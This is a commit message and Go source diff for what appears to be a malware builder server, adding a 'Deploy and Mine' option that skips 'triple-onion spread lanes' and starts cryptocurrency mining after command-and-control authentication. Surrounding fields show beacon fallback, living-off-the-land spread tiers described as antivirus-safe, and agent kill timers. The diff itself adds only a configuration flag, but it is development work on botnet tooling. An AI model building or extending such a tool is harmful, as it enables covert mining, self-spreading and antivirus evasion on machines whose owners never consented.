Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

server/internal/builder/handler.go

@@ -119,6 +119,9 @@ type BuildRequest struct {
 	HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
 	HTTPSBeaconAfterMin int  `json:"https_beacon_after_min"`
 
+	// SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset).
+	SimpleDeploy bool `json:"simple_deploy"`
+
 	// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
 	LotlOnionEnabled     bool     `json:"lotl_onion_enabled"`
 	LotlPolicyFromServer bool     `json:"lotl_policy_from_server"`
@@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		HTTPSBeaconFallback: %v,
 		HTTPSBeaconAfterMin: %d,
 
+		SimpleDeploy:         %v,
 		LotlOnionEnabled:     %v,
 		LotlPolicyFromServer: %v,
 		LotlOnionTiers:       %s,
@@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.AgentKillAfterDays,
 		httpsBeaconFallbackEnabled(req),
 		httpsBeaconAfterMin(req),
+		req.SimpleDeploy,
 		req.LotlOnionEnabled,
 		req.LotlPolicyFromServer,
 		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),